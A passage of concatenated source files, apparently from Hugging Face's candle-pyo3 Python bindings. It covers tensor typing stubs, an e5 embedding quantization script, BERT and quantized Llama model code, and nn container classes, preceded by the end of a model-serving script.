+        model = Wav2Vec2ForCTC.from_pretrained(model_id)
+        tokenizer = Wav2Vec2Tokenizer.from_pretrained(model_id)
+        ASR_HF_MODELS[model_id] = (model, tokenizer)
+    for model_id in SPEECH_TO_TEXT_MODEL_IDS:
+        model = Speech2TextForConditionalGeneration.from_pretrained(model_id)
+        processor = Speech2TextProcessor.from_pretrained(model_id)
+        ASR_HF_MODELS[model_id] = (model, processor)
+    TIMM_MODELS['julien-c/timm-dpn92'] = timm.create_model('dpn92', pretrained=True).eval()
+    TIMM_MODELS['sgugger/resnet50d'] = timm.create_model('resnet50d', pretrained=True).eval()
+    print('models.loaded', time.time() - start_time)
+    uvicorn.run(app, host='0.0.0.0', port=8000, timeout_keep_alive=0)
+

huggingface_candle.txt

@@ -0,0 +1,1540 @@
+# File: candle-main/candle-pyo3/_additional_typing/__init__.py
+from typing import Union, Sequence
+
+class Tensor:
+
+    def __add__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __radd__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __sub__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __truediv__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __mul__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __rmul__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __richcmp__(self, rhs: Union['Tensor', 'Scalar'], op) -> 'Tensor':
+        pass
+
+    def __getitem__(self, index: Union['Index', 'Tensor', Sequence['Index']]) -> 'Tensor':
+        pass
+
+    def __eq__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __ne__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __lt__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __le__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __gt__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+    def __ge__(self, rhs: Union['Tensor', 'Scalar']) -> 'Tensor':
+        pass
+
+# File: candle-main/candle-pyo3/e5.py
+from candle.utils import load_safetensors, save_gguf, load_gguf
+from candle.models.bert import BertModel, Config
+import json
+from candle import Tensor
+from tqdm import tqdm
+from dataclasses import fields
+import os
+import time
+from huggingface_hub import hf_hub_download
+from transformers import BertTokenizer, AutoModel
+import torch
+if __name__ == '__main__':
+    model_name = 'intfloat/e5-small-v2'
+    model_file = hf_hub_download(repo_id=model_name, filename='model.safetensors')
+    config_file = hf_hub_download(repo_id=model_name, filename='config.json')
+    tensors = load_safetensors(model_file)
+    config = Config()
+    with open(config_file, 'r') as f:
+        raw_config = json.load(f)
+        for field in fields(config):
+            if field.name in raw_config:
+                setattr(config, field.name, raw_config[field.name])
+    model = BertModel(config)
+    model.load_state_dict(tensors)
+    hf_model = AutoModel.from_pretrained(model_name)
+    tokenizer = BertTokenizer.from_pretrained(model_name)
+    sentences = ['The cat sits outside', 'A man is playing guitar', 'I love pasta', 'The new movie is awesome', 'The cat plays in the garden', 'A woman watches TV', 'The new movie is so great', 'Do you like pizza?']
+
+    def average_pool(last_hidden_states: torch.Tensor, attention_mask: torch.Tensor):
+        last_hidden = last_hidden_states.masked_fill(~attention_mask[..., None].bool(), 0.0)
+        return last_hidden.sum(dim=1) / attention_mask.sum(dim=1)[..., None]
+    tokenized = tokenizer(sentences, padding=True)
+    tokens = Tensor(tokenized['input_ids'])
+    token_type_ids = Tensor(tokenized['token_type_ids'])
+    attention_mask = Tensor(tokenized['attention_mask'])
+    (encoder_out, _) = model.forward(tokens, token_type_ids, attention_mask=attention_mask)
+    hf_tokenized = tokenizer(sentences, padding=True, return_tensors='pt')
+    hf_result = hf_model(**hf_tokenized)['last_hidden_state']
+    hf_pooled = average_pool(hf_result, hf_tokenized['attention_mask'])
+    candle_pooled = average_pool(torch.tensor(encoder_out.values()), hf_tokenized['attention_mask'])
+    loss = torch.nn.L1Loss()
+    error = loss(hf_pooled, candle_pooled).mean().item()
+    print(f'Mean error between torch-reference and candle: {error}')
+    quantized_tensors = {}
+    for (name, tensor) in tqdm(tensors.items(), desc='Quantizing tensors to 5-Bit'):
+        if name.endswith('weight') and ('attention' in name or 'intermediate' in name or 'output' in name):
+            if tensor.shape[-1] % 256 == 0:
+                new_tensor = tensor.quantize('q4k')
+            else:
+                new_tensor = tensor.quantize('q5_0')
+            quantized_tensors[name] = new_tensor
+        else:
+            quantized_tensors[name] = tensor.quantize('q8_0')
+    print(f'Saving quantized tensors')
+    config_to_save = {k: v for (k, v) in config.__dict__.items() if v is not None}
+    quantized_model_file = 'e5_small.gguf'
+    save_gguf(quantized_model_file, quantized_tensors, config_to_save)
+    file_size_mb = os.path.getsize(model_file) / 1024 / 1024
+    file_size_mb_compressed = os.path.getsize(quantized_model_file) / 1024 / 1024
+    print(f'Compressed model from {file_size_mb:.2f} MB to {file_size_mb_compressed:.2f} MB')
+    (tensors, raw_config) = load_gguf(quantized_model_file)
+    config = Config()
+    for field in fields(config):
+        if field.name in raw_config:
+            setattr(config, field.name, raw_config[field.name])
+    model = BertModel(config)
+    model.load_state_dict(tensors, strict=False)
+    (encoder_out_2, pooled_output_2) = model.forward(tokens, token_type_ids)
+    (encoder_out_2, pooled_output_2) = (encoder_out_2.to_device('cpu'), pooled_output_2.to_device('cpu'))
+    candle_pooled_2 = average_pool(torch.tensor(encoder_out_2.values()), hf_tokenized['attention_mask'])
+    error = loss(hf_pooled, candle_pooled_2).mean().item()
+    print(f'Mean error between torch-reference and quantized-candle: {error}')
+
+# File: candle-main/candle-pyo3/py_src/candle/__init__.py
+import logging
+try:
+    from .candle import *
+except ImportError as e:
+    logging.warning('DLLs were not bundled with this package. Trying to locate them...')
+    import os
+    import platform
+
+    def locate_cuda_dlls():
+        logging.warning('Locating CUDA DLLs...')
+        cuda_path = os.environ.get('CUDA_PATH', None)
+        if cuda_path:
+            logging.warning(f'Found CUDA_PATH environment variable: {cuda_path}')
+            if platform.system() == 'Windows':
+                cuda_path = os.path.join(cuda_path, 'bin')
+            else:
+                cuda_path = os.path.join(cuda_path, 'lib64')
+            logging.warning(f'Adding {cuda_path} to DLL search path...')
+            os.add_dll_directory(cuda_path)
+        else:
+            logging.warning('CUDA_PATH environment variable not found!')
+
+    def locate_mkl_dlls():
+        oneapi_root = os.environ.get('ONEAPI_ROOT', None)
+        if oneapi_root:
+            if platform.system() == 'Windows':
+                mkl_path = os.path.join(oneapi_root, 'compiler', 'latest', 'windows', 'redist', 'intel64_win', 'compiler')
+            else:
+                mkl_path = os.path.join(oneapi_root, 'mkl', 'latest', 'lib', 'intel64')
+            logging.warning(f'Adding {mkl_path} to DLL search path...')
+            os.add_dll_directory(mkl_path)
+        else:
+            logging.warning('ONEAPI_ROOT environment variable not found!')
+    locate_cuda_dlls()
+    locate_mkl_dlls()
+    try:
+        from .candle import *
+    except ImportError as inner_e:
+        raise ImportError('Could not locate DLLs. Please check the documentation for more information.')
+__doc__ = candle.__doc__
+if hasattr(candle, '__all__'):
+    __all__ = candle.__all__
+
+# File: candle-main/candle-pyo3/py_src/candle/models/bert.py
+from dataclasses import dataclass
+from typing import Optional
+from candle.nn import Module, Embedding, LayerNorm, Linear, ModuleList
+from candle import Tensor
+import candle
+import candle.functional as F
+from typing import Tuple, Optional
+
+@dataclass
+class Config:
+    vocab_size: int = 30522
+    hidden_size: int = 768
+    num_hidden_layers: int = 12
+    num_attention_heads: int = 12
+    intermediate_size: int = 3072
+    hidden_act: str = 'gelu'
+    hidden_dropout_prob: float = 0.1
+    max_position_embeddings: int = 512
+    type_vocab_size: int = 2
+    initializer_range: float = 0.02
+    layer_norm_eps: float = 1e-12
+    pad_token_id: int = 0
+    position_embedding_type: str = 'absolute'
+    use_cache: bool = True
+    classifier_dropout: Optional[float] = None
+    model_type: Optional[str] = 'bert'
+
+class BertSelfAttention(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.num_attention_heads = config.num_attention_heads
+        self.attention_head_size = int(config.hidden_size / self.num_attention_heads)
+        all_head_size = int(config.num_attention_heads * self.attention_head_size)
+        hidden_size = config.hidden_size
+        self.query = Linear(hidden_size, all_head_size)
+        self.key = Linear(hidden_size, all_head_size)
+        self.value = Linear(hidden_size, all_head_size)
+
+    def transpose_for_scores(self, x: Tensor) -> Tensor:
+        new_x_shape = x.shape[:-1] + (self.num_attention_heads, self.attention_head_size)
+        x = x.reshape(new_x_shape).transpose(1, 2)
+        return x.contiguous()
+
+    def forward(self, hidden_states: Tensor, attention_mask=None) -> Tensor:
+        query = self.query.forward(hidden_states)
+        key = self.key.forward(hidden_states)
+        value = self.value.forward(hidden_states)
+        query = self.transpose_for_scores(query)
+        key = self.transpose_for_scores(key)
+        value = self.transpose_for_scores(value)
+        attention_scores = query.matmul(key.t())
+        attention_scores = attention_scores / float(self.attention_head_size) ** 0.5
+        if attention_mask is not None:
+            (b_size, _, _, last_dim) = attention_scores.shape
+            attention_scores = attention_scores.broadcast_add(attention_mask.reshape((b_size, 1, 1, last_dim)))
+        attention_probs = F.softmax(attention_scores, dim=-1)
+        context_layer = attention_probs.matmul(value)
+        context_layer = context_layer.transpose(1, 2).contiguous()
+        context_layer = context_layer.flatten_from(-2)
+        return context_layer
+
+class BertSelfOutput(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.dense = Linear(config.hidden_size, config.hidden_size)
+        self.LayerNorm = LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
+
+    def forward(self, hidden_states: Tensor, input_tensor: Tensor) -> Tensor:
+        hidden_states = self.dense.forward(hidden_states)
+        return self.LayerNorm.forward(hidden_states + input_tensor)
+
+class BertAttention(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.self = BertSelfAttention(config)
+        self.output = BertSelfOutput(config)
+
+    def forward(self, hidden_states: Tensor, attention_mask: None) -> Tensor:
+        self_outputs = self.self.forward(hidden_states, attention_mask=attention_mask)
+        attention_output = self.output.forward(self_outputs, hidden_states)
+        return attention_output
+
+class BertIntermediate(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.dense = Linear(config.hidden_size, config.intermediate_size)
+        self.act = F.gelu if config.hidden_act == 'gelu' else F.relu
+
+    def forward(self, hidden_states: Tensor) -> Tensor:
+        hidden_states = self.dense.forward(hidden_states)
+        return self.act(hidden_states)
+
+class BertOutput(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.dense = Linear(config.intermediate_size, config.hidden_size)
+        self.LayerNorm = LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
+
+    def forward(self, hidden_states: Tensor, input_tensor: Tensor) -> Tensor:
+        hidden_states = self.dense.forward(hidden_states)
+        return self.LayerNorm.forward(hidden_states + input_tensor)
+
+class BertLayer(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.attention = BertAttention(config)
+        self.intermediate = BertIntermediate(config)
+        self.output = BertOutput(config)
+
+    def forward(self, hidden_states: Tensor, attention_mask=None) -> Tensor:
+        attention_output = self.attention.forward(hidden_states, attention_mask=attention_mask)
+        intermediate_output = self.intermediate.forward(attention_output)
+        layer_output = self.output.forward(intermediate_output, attention_output)
+        return layer_output
+
+class BertEncoder(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.layer = ModuleList()
+        for _ in range(config.num_hidden_layers):
+            self.layer.append(BertLayer(config))
+
+    def forward(self, hidden_states: Tensor, attention_mask=None) -> Tensor:
+        for l in self.layer:
+            hidden_states = l.forward(hidden_states, attention_mask=attention_mask)
+        return hidden_states
+
+class BertEmbeddings(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.word_embeddings = Embedding(config.vocab_size, config.hidden_size)
+        self.position_embeddings = Embedding(config.max_position_embeddings, config.hidden_size)
+        self.token_type_embeddings = Embedding(config.type_vocab_size, config.hidden_size)
+        self.LayerNorm = LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
+        self.position_ids = candle.Tensor(list(range(config.max_position_embeddings))).reshape((1, config.max_position_embeddings))
+
+    def forward(self, input_ids: Tensor, token_type_ids: Tensor) -> Tensor:
+        (_batch_size, seq_len) = input_ids.shape
+        input_embeddings = self.word_embeddings.forward(input_ids)
+        token_type_embeddings = self.token_type_embeddings.forward(token_type_ids)
+        embeddings: Tensor = input_embeddings + token_type_embeddings
+        position_ids = list(range(seq_len))
+        position_ids = Tensor(position_ids).to_dtype(input_ids.dtype).to_device(input_ids.device)
+        embeddings = embeddings.broadcast_add(self.position_embeddings.forward(position_ids))
+        embeddings = self.LayerNorm(embeddings)
+        return embeddings
+
+class BertPooler(Module):
+
+    def __init__(self, config: Config) -> None:
+        super().__init__()
+        self.dense = Linear(config.hidden_size, config.hidden_size)
+        self.activation = F.tanh
+
+    def forward(self, hidden_states: Tensor) -> Tensor:
+        first_token_tensor = hidden_states[:, 0]
+        pooled_output = self.dense.forward(first_token_tensor)
+        pooled_output = self.activation(pooled_output)
+        return pooled_output
+
+def masked_fill(on_false: float, mask: Tensor, on_true: float):
+    shape = mask.shape
+    on_true = candle.tensor(on_true).broadcast_as(shape)
+    on_false = candle.tensor(on_false).broadcast_as(shape)
+    return mask.where_cond(on_true, on_false)
+
+class BertModel(Module):
+
+    def __init__(self, config: Config, add_pooling_layer=True) -> None:
+        super().__init__()
+        self.config = config
+        self.embeddings = BertEmbeddings(config)
+        self.encoder = BertEncoder(config)
+        self.pooler = BertPooler(config) if add_pooling_layer else None
+
+    def forward(self, input_ids: Tensor, token_type_ids: Tensor, attention_mask=None) -> Tuple[Tensor, Optional[Tensor]]:
+        if attention_mask is not None:
+            attention_mask = masked_fill(float('-inf'), attention_mask, 1.0)
+        embeddings = self.embeddings.forward(input_ids, token_type_ids)
+        encoder_out = self.encoder.forward(embeddings, attention_mask=attention_mask)
+        pooled_output = self.pooler(encoder_out) if self.pooler is not None else None
+        return (encoder_out, pooled_output)
+
+# File: candle-main/candle-pyo3/py_src/candle/models/llama.py
+import candle
+from typing import Dict, Tuple, Any
+from candle import Tensor, QTensor, utils, nn
+from candle.nn import Module, ModuleList
+
+def masked_fill(on_false: Tensor, mask: Tensor, on_true: Tensor):
+    shape = mask.shape
+    on_true = candle.tensor(on_true).broadcast_as(shape)
+    return mask.where_cond(on_true, on_false)
+
+def precompute_freqs_cis(hparams: Dict[str, Any], freq_base: float, max_seq_len: int):
+    head_dim = hparams['n_embd'] // hparams['n_head']
+    theta = [1.0 / freq_base ** (i / head_dim) for i in range(0, head_dim, 2)]
+    theta = candle.tensor(theta)
+    idx_theta = [float(i) for i in range(max_seq_len)]
+    idx_theta = candle.tensor(idx_theta).reshape((max_seq_len, 1))
+    m = idx_theta.matmul(theta.unsqueeze(0))
+    return (m.cos(), m.sin())
+
+class RmsNorm(Module):
+
+    def __init__(self, qtensor: QTensor):
+        super().__init__()
+        self.weight = qtensor.dequantize()
+
+    def forward(self, x: Tensor) -> Tensor:
+        (b_size, seq_len, hidden_size) = x.shape
+        norm_x = x.sqr().sum_keepdim(2) / hidden_size
+        x_normed = x.broadcast_div((norm_x + 1e-05).sqrt())
+        return x_normed.broadcast_mul(self.weight)
+
+class QuantizedLayer(Module):
+
+    def __init__(self, layer_idx: int, hparams: Dict[str, Any], all_tensors: Dict[str, QTensor], cos_sin: Tuple[Tensor, Tensor]):
+        super().__init__()
+        p = f'layers.{layer_idx}'
+        self.attention_wq = all_tensors[f'{p}.attention.wq.weight']
+        self.attention_wk = all_tensors[f'{p}.attention.wk.weight']
+        self.attention_wv = all_tensors[f'{p}.attention.wv.weight']
+        self.attention_wo = all_tensors[f'{p}.attention.wo.weight']
+        self.ffw1 = all_tensors[f'{p}.feed_forward.w1.weight']
+        self.ffw2 = all_tensors[f'{p}.feed_forward.w2.weight']
+        self.ffw3 = all_tensors[f'{p}.feed_forward.w3.weight']
+        self.attn_norm = RmsNorm(all_tensors[f'{p}.attention_norm.weight'])
+        self.ffn_norm = RmsNorm(all_tensors[f'{p}.ffn_norm.weight'])
+        self.n_head = hparams['n_head']
+        self.n_kv_head = self.n_head
+        self.head_dim = hparams['n_embd'] // self.n_head
+        self.kv_cache = None
+        self.cos = cos_sin[0]
+        self.sin = cos_sin[1]
+        self._non_persistent_buffers_set.add('cos')
+        self._non_persistent_buffers_set.add('sin')
+
+    def forward(self, x: Tensor, mask: Tensor, index_pos: int) -> Tensor:
+        residual = x
+        x = self.attn_norm(x)
+        attn = self.forward_attn(x, mask, index_pos)
+        x = attn + residual
+        residual = x
+        x = self.ffn_norm(x)
+        w1 = self.ffw1.matmul_t(x)
+        w3 = self.ffw3.matmul_t(x)
+        mlp = self.ffw2.matmul_t(nn.silu(w1) * w3)
+        return mlp + residual
+
+    def forward_attn(self, x: Tensor, mask: Tensor, index_pos: int):
+        (b_size, seq_len, n_embd) = x.shape
+        q = self.attention_wq.matmul_t(x)
+        k = self.attention_wk.matmul_t(x)
+        v = self.attention_wv.matmul_t(x)
+        q = q.reshape((b_size, seq_len, self.n_head, self.head_dim)).transpose(1, 2)
+        k = k.reshape((b_size, seq_len, self.n_kv_head, self.head_dim)).transpose(1, 2)
+        v = v.reshape((b_size, seq_len, self.n_kv_head, self.head_dim)).transpose(1, 2)
+        q = self.apply_rotary_emb(q, index_pos)
+        k = self.apply_rotary_emb(k, index_pos)
+        if self.kv_cache is not None and index_pos > 0:
+            (prev_k, prev_v) = self.kv_cache
+            k = candle.cat([prev_k, k], 2).contiguous()
+            v = candle.cat([prev_v, v], 2).contiguous()
+        self.kv_cache = (k, v)
+        att = q.matmul(k.t()) / self.head_dim ** 0.5
+        mask = mask.broadcast_as(att.shape)
+        att = masked_fill(att, mask, float('-inf'))
+        att = nn.softmax(att, -1)
+        y = att.matmul(v.contiguous())
+        y = y.transpose(1, 2).reshape((b_size, seq_len, n_embd))
+        return self.attention_wo.matmul_t(y)
+
+    def apply_rotary_emb(self, x: Tensor, index_pos: int):
+        (b_size, n_head, seq_len, n_embd) = x.shape
+        cos = self.cos.narrow(0, index_pos, seq_len).reshape((seq_len, n_embd // 2, 1))
+        sin = self.sin.narrow(0, index_pos, seq_len).reshape((seq_len, n_embd // 2, 1))
+        x = x.reshape((b_size, n_head, seq_len, n_embd // 2, 2))
+        x0 = x.narrow(-1, 0, 1)
+        x1 = x.narrow(-1, 1, 1)
+        y0 = x0.broadcast_mul(cos) - x1.broadcast_mul(sin)
+        y1 = x0.broadcast_mul(sin) + x1.broadcast_mul(cos)
+        rope = candle.cat([y0, y1], -1)
+        return rope.flatten_from(-2)
+
+class QuantizedLlama(Module):
+
+    def __init__(self, hparams: Dict[str, Any], all_tensors: Dict[str, QTensor]):
+        super().__init__()
+        self.tok_embeddings = all_tensors['tok_embeddings.weight'].dequantize()
+        self.norm = RmsNorm(all_tensors['norm.weight'])
+        self.output = all_tensors['output.weight']
+        self.layers = ModuleList()
+        rope_freq = hparams.get('rope_freq', 10000.0)
+        cos_sin = precompute_freqs_cis(hparams, rope_freq, hparams['context_length'])
+        for layer_idx in range(hparams['n_layer']):
+            layer = QuantizedLayer(layer_idx, hparams, all_tensors, cos_sin)
+            self.layers.append(layer)
+
+    def forward(self, token: Tensor, index_pos: int) -> Tensor:
+        (b_size, seq_len) = token.shape
+        (vocab_size, hidden_size) = self.tok_embeddings.shape
+        token = token.reshape((b_size * seq_len,))
+        x = self.tok_embeddings.index_select(token, 0)
+        x = x.reshape((b_size, seq_len, hidden_size))
+        mask = [int(j > i) for j in range(seq_len) for i in range(seq_len)]
+        mask = candle.tensor(mask).reshape((seq_len, seq_len))
+        for layer in self.layers:
+            x = layer(x, mask, index_pos)
+        x = self.norm(x)
+        x = x.narrow(1, -1, 1).squeeze(1)
+        x = self.output.matmul_t(x)
+        return x
+
+# File: candle-main/candle-pyo3/py_src/candle/nn/container.py
+from .module import Module
+from typing import Any, Dict, Iterable, Iterator, Mapping, Optional, overload, Tuple, TypeVar, Union
+from collections import OrderedDict, abc as container_abcs
+import operator
+from itertools import chain, islice
+__all__ = ['Sequential', 'ModuleList', 'ModuleDict']
+T = TypeVar('T', bound=Module)
+
+def _addindent(s_: str, numSpaces: int):
+    s = s_.split('\n')
+    if len(s) == 1:
+        return s_
+    first = s.pop(0)
+    s = [numSpaces * ' ' + line for line in s]
+    s = '\n'.join(s)
+    s = first + '\n' + s
+    return s
+
+class Sequential(Module):
+    _modules: Dict[str, Module]
+
+    @overload
+    def __init__(self, *args: Module) -> None:
+        ...
+
+    @overload
+    def __init__(self, arg: 'OrderedDict[str, Module]') -> None:
+        ...
+
+    def __init__(self, *args):
+        super().__init__()
+        if len(args) == 1 and isinstance(args[0], OrderedDict):
+            for (key, module) in args[0].items():
+                self.add_module(key, module)
+        else:
+            for (idx, module) in enumerate(args):
+                self.add_module(str(idx), module)
+
+    def _get_item_by_idx(self, iterator, idx) -> T:
+        size = len(self)
+        idx = operator.index(idx)
+        if not -size <= idx < size:
+            raise IndexError('index {} is out of range'.format(idx))
+        idx %= size
+        return next(islice(iterator, idx, None))
+
+    def __getitem__(self, idx: Union[slice, int]) -> Union['Sequential', T]:
+        if isinstance(idx, slice):
+            return self.__class__(OrderedDict(list(self._modules.items())[idx]))
+        else:
+            return self._get_item_by_idx(self._modules.values(), idx)
+
+    def __setitem__(self, idx: int, module: Module) -> None:
+        key: str = self._get_item_by_idx(self._modules.keys(), idx)
+        return setattr(self, key, module)
+
+    def __delitem__(self, idx: Union[slice, int]) -> None:
+        if isinstance(idx, slice):
+            for key in list(self._modules.keys())[idx]:
+                delattr(self, key)
+        else:
+            key = self._get_item_by_idx(self._modules.keys(), idx)
+            delattr(self, key)
+        str_indices = [str(i) for i in range(len(self._modules))]
+        self._modules = OrderedDict(list(zip(str_indices, self._modules.values())))
+
+    def __len__(self) -> int:
+        return len(self._modules)
+
+    def __add__(self, other) -> 'Sequential':
+        if isinstance(other, Sequential):
+            ret = Sequential()
+            for layer in self:
+                ret.append(layer)
+            for layer in other:
+                ret.append(layer)
+            return ret
+        else:
+            raise ValueError('add operator supports only objects of Sequential class, but {} is given.'.format(str(type(other))))
+
+    def pop(self, key: Union[int, slice]) -> Module:
+        v = self[key]
+        del self[key]
+        return v
+
+    def __iadd__(self, other) -> 'Sequential':
+        if isinstance(other, Sequential):
+            offset = len(self)
+            for (i, module) in enumerate(other):
+                self.add_module(str(i + offset), module)
+            return self
+        else:
+            raise ValueError('add operator supports only objects of Sequential class, but {} is given.'.format(str(type(other))))
+
+    def __mul__(self, other: int) -> 'Sequential':
+        if not isinstance(other, int):
+            raise TypeError(f'unsupported operand type(s) for *: {type(self)} and {type(other)}')
+        elif other <= 0:
+            raise ValueError(f'Non-positive multiplication factor {other} for {type(self)}')
+        else:
+            combined = Sequential()
+            offset = 0
+            for _ in range(other):
+                for module in self:
+                    combined.add_module(str(offset), module)
+                    offset += 1
+            return combined
+
+    def __rmul__(self, other: int) -> 'Sequential':
+        return self.__mul__(other)
+
+    def __imul__(self, other: int) -> 'Sequential':
+        if not isinstance(other, int):
+            raise TypeError(f'unsupported operand type(s) for *: {type(self)} and {type(other)}')
+        elif other <= 0:
+            raise ValueError(f'Non-positive multiplication factor {other} for {type(self)}')
+        else:
+            len_original = len(self)
+            offset = len(self)
+            for _ in range(other - 1):
+                for i in range(len_original):
+                    self.add_module(str(i + offset), self._modules[str(i)])
+                offset += len_original
+            return self
+
+    def __dir__(self):
+        keys = super().__dir__()
+        keys = [key for key in keys if not key.isdigit()]
+        return keys
+
+    def __iter__(self) -> Iterator[Module]:
+        return iter(self._modules.values())
+
+    def forward(self, input):
+        for module in self:
+            input = module(input)
+        return input
+
+    def append(self, module: Module) -> 'Sequential':
+        self.add_module(str(len(self)), module)
+        return self
+
+    def insert(self, index: int, module: Module) -> 'Sequential':
+        if not isinstance(module, Module):
+            raise AssertionError('module should be of type: {}'.format(Module))
+        n = len(self._modules)
+        if not -n <= index <= n:
+            raise IndexError('Index out of range: {}'.format(index))
+        if index < 0:
+            index += n
+        for i in range(n, index, -1):
+            self._modules[str(i)] = self._modules[str(i - 1)]
+        self._modules[str(index)] = module
+        return self
+
+    def extend(self, sequential) -> 'Sequential':
+        for layer in sequential:
+            self.append(layer)
+        return self
+
+class ModuleList(Module):
+    _modules: Dict[str, Module]
+
+    def __init__(self, modules: Optional[Iterable[Module]]=None) -> None:
+        super().__init__()
+        if modules is not None:
+            self += modules
+
+    def _get_abs_string_index(self, idx):
+        idx = operator.index(idx)
+        if not -len(self) <= idx < len(self):
+            raise IndexError('index {} is out of range'.format(idx))
+        if idx < 0:
+            idx += len(self)
+        return str(idx)
+
+    def __getitem__(self, idx: Union[int, slice]) -> Union[Module, 'ModuleList']:
+        if isinstance(idx, slice):
+            return self.__class__(list(self._modules.values())[idx])
+        else:
+            return self._modules[self._get_abs_string_index(idx)]
+
+    def __setitem__(self, idx: int, module: Module) -> None:
+        idx = self._get_abs_string_index(idx)
+        return setattr(self, str(idx), module)
+
+    def __delitem__(self, idx: Union[int, slice]) -> None:
+        if isinstance(idx, slice):
+            for k in range(len(self._modules))[idx]:
+                delattr(self, str(k))
+        else:
+            delattr(self, self._get_abs_string_index(idx))
+        str_indices = [str(i) for i in range(len(self._modules))]
+        self._modules = OrderedDict(list(zip(str_indices, self._modules.values())))
+
+    def __len__(self) -> int:
+        return len(self._modules)
+
+    def __iter__(self) -> Iterator[Module]:
+        return iter(self._modules.values())
+
+    def __iadd__(self, modules: Iterable[Module]) -> 'ModuleList':
+        return self.extend(modules)
+
+    def __add__(self, other: Iterable[Module]) -> 'ModuleList':
+        combined = ModuleList()
+        for (i, module) in enumerate(chain(self, other)):
+            combined.add_module(str(i), module)
+        return combined
+
+    def __repr__(self):
+        list_of_reprs = [repr(item) for item in self]
+        if len(list_of_reprs) == 0:
+            return self._get_name() + '()'
+        start_end_indices = [[0, 0]]
+        repeated_blocks = [list_of_reprs[0]]
+        for (i, r) in enumerate(list_of_reprs[1:], 1):
+            if r == repeated_blocks[-1]:
+                start_end_indices[-1][1] += 1
+                continue
+            start_end_indices.append([i, i])
+            repeated_blocks.append(r)
+        lines = []
+        main_str = self._get_name() + '('
+        for ((start_id, end_id), b) in zip(start_end_indices, repeated_blocks):
+            local_repr = f'({start_id}): {b}'
+            if start_id != end_id:
+                n = end_id - start_id + 1
+                local_repr = f'({start_id}-{end_id}): {n} x {b}'
+            local_repr = _addindent(local_repr, 2)
+            lines.append(local_repr)
+        main_str += '\n  ' + '\n  '.join(lines) + '\n'
+        main_str += ')'
+        return main_str
+
+    def __dir__(self):
+        keys = super().__dir__()
+        keys = [key for key in keys if not key.isdigit()]
+        return keys
+
+    def insert(self, index: int, module: Module) -> None:
+        for i in range(len(self._modules), index, -1):
+            self._modules[str(i)] = self._modules[str(i - 1)]
+        self._modules[str(index)] = module
+
+    def append(self, module: Module) -> 'ModuleList':
+        self.add_module(str(len(self)), module)
+        return self
+
+    def pop(self, key: Union[int, slice]) -> Module:
+        v = self[key]
+        del self[key]
+        return v
+
+    def extend(self, modules: Iterable[Module]) -> 'ModuleList':
+        if not isinstance(modules, container_abcs.Iterable):
+            raise TypeError('ModuleList.extend should be called with an iterable, but got ' + type(modules).__name__)
+        offset = len(self)
+        for (i, module) in enumerate(modules):
+            self.add_module(str(offset + i), module)
+        return self
+
+class ModuleDict(Module):
+    _modules: Dict[str, Module]
+
+    def __init__(self, modules: Optional[Mapping[str, Module]]=None) -> None:
+        super().__init__()
+        if modules is not None:
+            self.update(modules)
+
+    def __getitem__(self, key: str) -> Module:
+        return self._modules[key]
+
+    def __setitem__(self, key: str, module: Module) -> None:
+        self.add_module(key, module)
+
+    def __delitem__(self, key: str) -> None:
+        del self._modules[key]
+
+    def __len__(self) -> int:
+        return len(self._modules)
+
+    def __iter__(self) -> Iterator[str]:
+        return iter(self._modules)
+
+    def __contains__(self, key: str) -> bool:
+        return key in self._modules
+
+    def clear(self) -> None:
+        self._modules.clear()
+
+    def pop(self, key: str) -> Module:
+        v = self[key]
+        del self[key]
+        return v
+
+    def keys(self) -> Iterable[str]:
+        return self._modules.keys()
+
+    def items(self) -> Iterable[Tuple[str, Module]]:
+        return self._modules.items()
+
+    def values(self) -> Iterable[Module]:
+        return self._modules.values()
+
+    def update(self, modules: Mapping[str, Module]) -> None:
+        if not isinstance(modules, container_abcs.Iterable):
+            raise TypeError('ModuleDict.update should be called with an iterable of key/value pairs, but got ' + type(modules).__name__)
+        if isinstance(modules, (OrderedDict, ModuleDict, container_abcs.Mapping)):
+            for (key, module) in modules.items():
+                self[key] = module
+        else:
+            for (j, m) in enumerate(modules):
+                if not isinstance(m, container_abcs.Iterable):
+                    raise TypeError('ModuleDict update sequence element #' + str(j) + ' should be Iterable; is' + type(m).__name__)
+                if not len(m) == 2:
+                    raise ValueError('ModuleDict update sequence element #' + str(j) + ' has length ' + str(len(m)) + '; 2 is required')
+                self[m[0]] = m[1]
+
+# File: candle-main/candle-pyo3/py_src/candle/nn/linear.py
+import math
+from typing import Any
+import candle
+from candle import Tensor
+from .module import Module
+
+class Identity(Module):
+
+    def __init__(self, *args: Any, **kwargs: Any) -> None:
+        super().__init__()
+
+    def forward(self, input: Tensor) -> Tensor:
+        return input
+
+class Linear(Module):
+    __constants__ = ['in_features', 'out_features']
+    in_features: int
+    out_features: int
+    weight: Tensor
+
+    def __init__(self, in_features: int, out_features: int, bias: bool=True, device=None, dtype=None) -> None:
+        factory_kwargs = {'device': device, 'dtype': dtype}
+        super().__init__()
+        self._quantizable_buffers.add('weight')
+        self.in_features = in_features
